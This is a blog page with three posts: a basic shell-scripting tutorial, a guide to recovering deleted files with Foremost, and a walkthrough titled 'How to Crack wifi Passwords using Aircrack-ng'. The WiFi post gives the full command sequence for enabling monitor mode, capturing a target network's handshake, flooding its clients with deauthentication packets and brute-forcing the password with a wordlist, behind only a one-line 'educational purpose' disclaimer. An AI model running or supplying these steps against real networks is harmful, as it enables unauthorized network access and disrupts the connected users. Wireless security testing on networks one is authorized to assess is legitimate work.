Search This Blog

Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Friday, 22 November 2024

Mastering the Linux and Shell: A Comprehensive Guide to Command-Line Efficiency and Scripting

Learn Linux and Shell with examples


 

What is a Shell?

A shell is a user interface that provides access to the operating system's services. It acts as an intermediary between the user and the operating system kernel, interpreting and executing commands input by the user. The term "shell" refers to its role as a layer around the kernel, enabling users to interact with the system via command-line or script-based interfaces.

In the Unix/Linux ecosystem, a shell is often a command-line interpreter (CLI). Common examples include Bash (Bourne Again Shell), Zsh (Z Shell), Ksh (Korn Shell), and Fish (Friendly Interactive Shell). Shells can run commands, automate repetitive tasks, and execute shell scripts, which are sequences of commands written in files.


Real-World Applications of Shell Scripting

  1. System Administration: Automating backups, user management, and log rotation.
  2. Data Processing: Parsing logs, processing files, and data transformation.
  3. Development: Setting up environments, running builds, and deploying applications.
  4. Networking: Monitoring servers, transferring files, and managing connections.

Advantages of Using a Shell

  1. Powerful Command Execution:
    The shell provides direct access to all underlying system utilities, allowing users to perform a wide variety of tasks with a single command.

  2. Scripting and Automation:
    Shell scripts allow users to automate repetitive tasks, such as backups, deployments, and system monitoring, saving time and effort.

  3. Customizability:
    Users can customize their shell environment by setting aliases, modifying the prompt, and defining environment variables.

  4. Integration with Unix Tools:
    The shell seamlessly integrates with powerful command-line tools like grep, awk, sed, and find, enabling complex operations on files and data.

  5. Portability:
    Shell scripts can often run on multiple Unix/Linux systems without modification, making them highly portable.

  6. Efficiency:
    Shells allow direct manipulation of files, processes, and networks, often faster than using GUI tools for similar tasks.

  7. Lightweight Interface:
    Shells consume minimal system resources, making them ideal for use in servers and resource-constrained environments.


Shell Scripting:

Learn shell scripting from basics to advanced concepts with examples

1. What is Shell Scripting?

Shell scripting is writing a series of commands for the shell to execute. It automates repetitive tasks, manages files, and interacts with the operating system efficiently.

2. Displaying Output

Use echo to display text on the terminal.

# Display a message
echo "Hello, Shell Scripting!"

3. Variables

Define and use variables in your scripts.

# Define a variable
name="John Doe"

# Use the variable
echo "Hello, $name!"

4. Taking Input

Use read to take user input.

# Prompt the user for input
echo "Enter your name:"
read user_name
echo "Hello, $user_name!"

5. Conditional Statements

Use if, else, and elif for decision-making.

# Check if a file exists
if [ -f "example.txt" ]; then
    echo "File exists."
else
    echo "File does not exist."
fi

6. Loops

For Loop

# Example of a for loop
for i in 1 2 3; do
    echo "Number: $i"
done

While Loop

# Example of a while loop
count=1
while [ $count -le 5 ]; do
    echo "Count: $count"
    count=$((count + 1))
done

7. Functions

Encapsulate reusable code with functions.

# Define and call a function
greet() {
    echo "Hello, $1!"
}
greet "Alice"

8. File Operations

Create, read, and delete files.

# Create a file
echo "Sample Text" > file.txt

# Read the file
cat file.txt

# Delete the file
rm file.txt

9. File Permissions

Modify file permissions with chmod.

# Make a file executable
chmod +x script.sh

10. Redirecting Input and Output

# Write output to a file
echo "Hello" > file.txt

# Append to a file
echo "World" >> file.txt

# Redirect input from a file
cat < file.txt

11. Piping Commands

Use pipes (|) to pass the output of one command as input to another.

# Count lines in a file
cat file.txt | wc -l

12. Arrays

# Define an array
my_array=(one two three)

# Access array elements
echo ${my_array[1]}

13. Scheduling Tasks with Cron

# Open the cron editor
crontab -e

# Schedule a task (run daily at midnight)
0 0 * * * /path/to/script.sh

14. Exit Status

Check the status of the last executed command.

# Check if a command was successful
if [ $? -eq 0 ]; then
    echo "Command succeeded."
else
    echo "Command failed."
fi

15. Debugging Scripts

# Enable debugging
bash -x script.sh
 

Conclusion

Shell scripting is a powerful tool that enhances productivity, simplifies complex tasks, and provides deep control over the operating system. Mastering the shell involves learning its commands, control structures, and integrations with system tools. It is essential for anyone working with Unix/Linux systems, whether as a developer, system administrator, or data analyst.

 

Wednesday, 8 May 2024

How to Crack wifi Passwords using Aircrack-ng Kali Linux

 

Hack WiFi with Aircrack-ng using linux PC.

wifi-hack · GitHub Topics · GitHub

So Welcome guys to one more intresting blog, in today's blog I will tell you how to crack Wifi Passwords in very easy and simple steps. As we All Know Kali Linux and Parrot OS are Best Operating Systems used in Pentesting, Hacking purposes. Because of Built-in tools like Aircrack-ng, Airodump, Burpsuite, etc more than 500+ tools are available to learn, and apply. But you should not try on Other's Devices, Data, Social Media Accounts, etc. Only use for Educational Purpose. So here we need some tools:

Requirements:

  • PC with installed or live Linux
  • Aircrack-ng toolkit
  • A wifi adapter with monitor mode support. (if PC's builtin wifi doesn't support monitor mode then only)

Major Steps in this Process:

  • Putting wireless into monitor mode
  • Information Gathering about a WiFi
  • Capturing Handshakes
  • Cracking Encrypted Password

Let's Start Guys !!!

 In my case, my wireless adapter is with the name wlan0. In your case, it may be different. I will show you whether my monitor mode is enabled or not. For that, we will use the ifconfig command. According to the image below, The wifi monitor mode has not started yet.

ifconfig

wlan0

In this step, we will enable monitor mode on Kali Linux. For that, we will type the following command.

airmon-ng start wlan0

Now this command will enable the monitor mode on the wifi card.

monitor mode

Many times, during wifi password hacking, we have to enable monitor mode. At this time, you can see the below image. In this image, The monitor mode has enabled.

 wlan0mon 

wlan0mon

At this stage, We will scan the surroundings wifi network. For that, we will type the following command.

airodump-ng wlan0

These commands will display all the access points in your surroundings and also the clients connected to those access points.

airodumo-ng wlan0mon
Access Point

in this step, We will capture the packets of the target wifi network.

airodump-ng -c 11 –bssid 22:FB:6F:36:7D:5C -w /root/Desktop/wifi-packet wlan0mon

In this step, we will send deauthenticate packets to the connected clients. Until our wifi handshake is captured.

aireplay-ng –deauth 1000 -a 22:FB:6F:36:7D:5C wlan0mon

At this final step, we will have to crack wifi captured packets. For that, we will use the brute-attack to crack the wifi password. Now we will use a custom wordlist. If you want to generate your custom wordlist, you can visit my youtube channel.

aircrack-ng -a2 -b 22:FB:6F:36:7D:5C -w /usr/share/wordlists/rockyou.txt wifi01.cap

In the end, we got the wifi password.

Password Found

So thanks Guys! I hope you have learned this method for cracking WiFi.

Don't Forget to Comment your Experience, So I can Improve Next Time.






Sunday, 31 March 2024

How to Recover Deleted Files Using Foremost in Linux?

 

How to Recover Deleted Files Using Foremost in Linux?

Foremost is a digital forensic application that is used to recover lost or deleted files. Foremost can recover the files for hard disk, memory card, pen drive, and another mode of memory devices easily. It can also work on the image files that are being generated by any other Application. It is a free command-line tool that is pre-installed in Kali Linux. This tool comes pre-installed in Kali Linux. Foremost is a very useful software that is used to recover the deleted files, if some files are deleted accidentally or in any case files are deleted. You can recover the deleted files from foremost only if the data in the device is not overridden, which means after deleting the files no more data is added to the storage device because in that case data may be overridden and the chances of recovery also get reduced and data must get corrupted.

Installing the Foremost Tool:

Use the following command to install this tool in any Debian based Linux Operating System or in any other Operating System using the APT package manager.

sudo apt install foremost

Use the following command to install this tool using dnf package manager

sudo dnf install foremost

Use the following command to install this tool using Pacman package manager or in Arch Linux.

sudo pacman -S foremost

Syntax:

foremost [options]

foremost help

Here you can check the options available and their functions. Let us now see how to recover deleted files using foremost: 

Recovering from USB/Hard Disk:

  • Connect the External memory storage with the system.
  • First, you need to know the path of your external memory device, for that use the command
fdisk -l
  • Now from here, you can copy the path of the disk.

fdisk disk listing

  • After copying the device path, now we have to recover the files from that device.

Use the options available by the “foremost -h” command.

For example 

foremost -t jpg,pdf,mp4,exe -v -q -i /dev/sdb2 -o /root/desktop/recover

Here I use this command to recover the data from the device.

  • -t: It is the type of files we want to recover. Here I want to recover jpg, pdf,mp4, and exe files.
  • -q: It is a quick scan for the device
  • -i: It means the input as in this case external memory.
  • -o: It is the output folder, where to save the recovered files.

recover data with foremost command

Hereafter running this command, all the files will be saved in the folder name as mentioned. Here you can see the folder recover on desktop and all the files will be stored here.


how to implement YOLOv3 using Python and TensorFlow

Object Detection with YOLOv3 Introduction YOLOv3 (You Only Look Once version 3) is a real-time object detection algorithm that can detect ob...